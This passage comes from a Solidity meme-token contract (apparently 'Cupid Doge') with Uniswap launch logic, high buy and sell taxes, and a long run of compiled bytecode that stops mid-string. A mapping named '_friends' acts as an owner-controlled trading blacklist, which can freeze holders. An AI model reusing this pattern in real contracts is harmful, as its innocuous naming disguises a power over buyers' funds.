rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 5000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); launchBlock = block.number; } function setFriends(address[] memory friends) public onlyOwner { for (uint i = 0; i < friends.length; i++) { if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) { _friends[friends[i]] = true; } } } function delFriend(address notfriend) public onlyOwner { _friends[notfriend] = false; } function isFriend(address ad) public view returns (bool) { return _friends[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - trader[buyer].buyCD; } // might return outdated counter if more than 30 mins function buyTax(address buyer) public view returns (uint) { return ((5 - trader[buyer].buynumber).mul(2)); } function sellTax(address ad) public view returns (uint) { if(block.timestamp > trader[ad].lastBuy + (3 hours)) { return 10; } else if (block.timestamp > trader[ad].lastBuy + (1 hours)) { return 15; } else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) { return 20; } else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) { return 25; } else { return 35; } } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613eae565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061396f565b610662565b6040516101f09190613e93565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614090565b60405180910390f35b34801561023057600080fd5b5061024b6004803603810190610246919061391c565b610691565b6040516102589190613e93565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614090565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae9190614105565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613a52565b610783565b005b3480156102ec57600080fd5b50610307600480360381019061030291906139f8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b9190613882565b61095f565b60405161033d9190614090565b60405180910390f35b34801561035257600080fd5b5061036d60048036038101906103689190613882565b610aeb565b60405161037a9190613e93565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190613882565b610b41565b6040516103b79190614090565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190613882565b610c0a565b60405161040b9190614090565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613dc5565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190613882565b610dd7565b60405161048a9190614090565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613eae565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e0919061396f565b610e7f565b6040516104f29190613e93565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613e93565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906139af565b610eb2565b005b34801561055b57600080fd5b506105646110c2565b005b34801561057257600080fd5b5061057b61113c565b005b34801561058957600080fd5b50610592611208565b60405161059f9190614090565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca9190613882565b61123a565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906138dc565b61132a565b6040516106059190614090565b60405180910390f35b34801561061a57600080fd5b506106236113b1565b005b60606040518060400160405280600c81526020017f20437570696420446f6765200000000000000000000000000000000000000000815250905090565b600061067661066f6118c3565b84846118cb565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611a96565b61075f846106aa6118c3565b61075a856040518060600160405280602881526020016148aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107106118c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b6b9092919063ffffffff16565b6118cb565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c46118c3565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90613f70565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614090565b60405180910390a150565b6108726118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690613fd0565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613e93565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b191906141c6565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a1191906141c6565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a7191906141c6565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad191906141c6565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b9191906142a7565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd96118c3565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612bcf565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d46565b9050919050565b610c636118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790613fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d91906142a7565b612db490919063ffffffff16565b9050919050565b60606040518060400160405280600481526020017f2043442000000000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c6118c3565b8484611a96565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba6118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613fd0565b60405180910390fd5b60005b81518110156110be57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9f57610f9e61444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110335750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110125761101161444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110ab576001600660008484815181106110515761105061444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110b6906143a6565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036118c3565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b600061112e30610c0a565b905061113981612e2f565b50565b6111446118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613fd0565b60405180910390fd5b6001601560146101000a81548160ff0219169083151502179055506078426111f991906141c6565b60178190555043601681905550565b6000611235601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112426118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690613fd0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113b96118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90613fd0565b60405180910390fd5b601560149054906101000a900460ff1615611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d90614050565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061152630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118cb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561156c57600080fd5b505afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a491906138af565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163e91906138af565b6040518363ffffffff1660e01b815260040161165b929190613de0565b602060405180830381600087803b15801561167557600080fd5b505af1158015611689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ad91906138af565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061173630610c0a565b600080611741610dae565b426040518863ffffffff1660e01b815260040161176396959493929190613e32565b6060604051808303818588803b15801561177c57600080fd5b505af1158015611790573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117b59190613a7f565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186d929190613e09565b602060405180830381600087803b15801561188757600080fd5b505af115801561189b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118bf9190613a25565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561193b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193290614030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290613f10565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a899190614090565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90614010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6d90613ed0565b60405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090613ff0565b60405180910390fd5b611bc1610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612aa857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ce157600080fd5b6001601654611cf091906141c6565b4311158015611d00575060105481145b15611f1f57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611db15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e13576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f1e565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611ebf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f1d576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661202c576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120d75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126b557601560149054906101000a900460ff16612181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217890614070565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546121d191906141c6565b421115612221576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156122d957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906122bf906143a6565b91905055506005600a819055506005600b81905550612515565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561239157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000815480929190612377906143a6565b91905055506004600a819055506004600b81905550612514565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561244957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061242f906143a6565b91905055506003600a819055506003600b81905550612513565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561250157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124e7906143a6565b91905055506002600a819055506002600b81905550612512565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff16156126b4574260175411156126605760105481111561258857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390613f30565b60405180910390fd5b602d4261261991906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f4261266d91906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006126c030610c0a565b9050601560169054906101000a900460ff1615801561272d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127455750601560149054906101000a900460ff165b15612aa65760158054906101000a900460ff16156127e25742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890613f90565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461283891906141c6565b42111561284857600a9050612970565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461289891906141c6565b4211156128a857600f905061296f565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128f891906141c6565b421115612908576014905061296e565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461295891906141c6565b421115612968576019905061296d565b602390505b5b5b5b612997600a612989600484612db490919063ffffffff16565b6130b790919063ffffffff16565b600a819055506129c4600a6129b6600684612db490919063ffffffff16565b6130b790919063ffffffff16565b600b819055506000821115612a8b57612a256064612a17600c54612a09601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b821115612a8157612a7e6064612a70600c54612a62601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b91505b612a8a82612e2f565b5b60004790506000811115612aa357612aa247612bcf565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b4f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5957600090505b612b6584848484613101565b50505050565b6000838311158290612bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baa9190613eae565b60405180910390fd5b5060008385612bc291906142a7565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c1f6002846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612c4a573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9b6004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cc6573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d176004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d42573d6000803e3d6000fd5b5050565b6000600854821115612d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8490613ef0565b60405180910390fd5b6000612d9761312e565b9050612dac81846130b790919063ffffffff16565b915050919050565b600080831415612dc75760009050612e29565b60008284612dd5919061424d565b9050828482612de4919061421c565b14612e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1b90613fb0565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612e6757612e6661447c565b5b604051908082528060200260200182016040528015612e955781602001602082028036833780820191505090505b5090503081600081518110612ead57612eac61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612f4f57600080fd5b505afa158015612f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f8791906138af565b81600181518110612f9b57612f9a61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061300230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118cb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130669594939291906140ab565b600060405180830381600087803b15801561308057600080fd5b505af1158015613094573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006130f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613159565b905092915050565b8061310f5761310e6131bc565b5b61311a8484846131ff565b80613128576131276133ca565b5b50505050565b600080600061313b6133de565b9150915061315281836130b790919063ffffffff16565b9250505090565b600080831182906131a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131979190613eae565b60405180910390fd5b50600083856131af919061421c565b9050809150509392505050565b6000600a541480156131d057506000600b54145b156131da576131fd565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b60008060008060008061321187613440565b95509550955095509550955061326f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335081613550565b61335a848361360d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516133b79190614090565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea000009050613414683635c9adc5dea000006008546130b790919063ffffffff16565b82101561343357600854683635c9adc5dea0000093509350505061343c565b81819350935050505b9091565b600080600080600080600080600061345d8a600a54600b54613647565b925092509250600061346d61312e565b905060008060006134808e8787876136dd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006134ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b6b565b905092915050565b600080828461350191906141c6565b905083811015613546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353d90613f50565b60405180910390fd5b8091505092915050565b600061355a61312e565b905060006135718284612db490919063ffffffff16565b90506135c581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613622826008546134a890919063ffffffff16565b60088190555061363d816009546134f290919063ffffffff16565b6009819055505050565b6000806000806136736064613665888a612db490919063ffffffff16565b6130b790919063ffffffff16565b9050600061369d606461368f888b612db490919063ffffffff16565b6130b790919063ffffffff16565b905060006136c6826136b8858c6134a890919063ffffffff16565b6134a890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806136f68589612db490919063ffffffff16565b9050600061370d8689612db490919063ffffffff16565b905060006137248789612db490919063ffffffff16565b9050600061374d8261373f85876134a890919063ffffffff16565b6134a890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061377961377484614145565b614120565b9050808382526020820190508285602086028201111561379c5761379b6144b0565b5b60005b858110156137cc57816137b288826137d6565b84526020840193506020830192505060018101905061379f565b5050509392505050565b6000813590506137e581614864565b92915050565b6000815190506137fa81614864565b92915050565b600082601f830112613815576138146144ab565b5b8135613825848260208601613766565b91505092915050565b60008135905061383d8161487b565b92915050565b6000815190506138528161487b565b92915050565b60008135905061386781614892565b92915050565b60008151905061387c81614892565b92915050565b600060208284031215613898576138976144ba565b5b60006138a6848285016137d6565b91505092915050565b6000602082840312156138c5576138c46144ba565b5b60006138d3848285016137eb565b91505092915050565b600080604083850312156138f3576138f26144ba565b5b6000613901858286016137d6565b9250506020613912858286016137d6565b9150509250929050565b600080600060608486031215613935576139346144ba565b5b6000613943868287016137d6565b9350506020613954868287016137d6565b925050604061396586828701613858565b9150509250925092565b60008060408385031215613986576139856144ba565b5b6000613994858286016137d6565b92505060206139a585828601613858565b9150509250929050565b6000602082840312156139c5576139c46144ba565b5b600082013567ffffffffffffffff8111156139e3576139e26144b5565b5b6139ef84828501613800565b91505092915050565b600060208284031215613a0e57613a0d6144ba565b5b6000613a1c8482850161382e565b91505092915050565b600060208284031215613a3b57613a3a6144ba565b5b6000613a4984828501613843565b91505092915050565b600060208284031215613a6857613a676144ba565b5b6000613a7684828501613858565b91505092915050565b600080600060608486031215613a9857613a976144ba565b5b6000613aa68682870161386d565b9350506020613ab78682870161386d565b9250506040613ac88682870161386d565b9150509250925092565b6000613ade8383613aea565b60208301905092915050565b613af3816142db565b82525050565b613b02816142db565b82525050565b6000613b1382614181565b613b1d81856141a4565b9350613b2883614171565b8060005b83811015613b59578151613b408882613a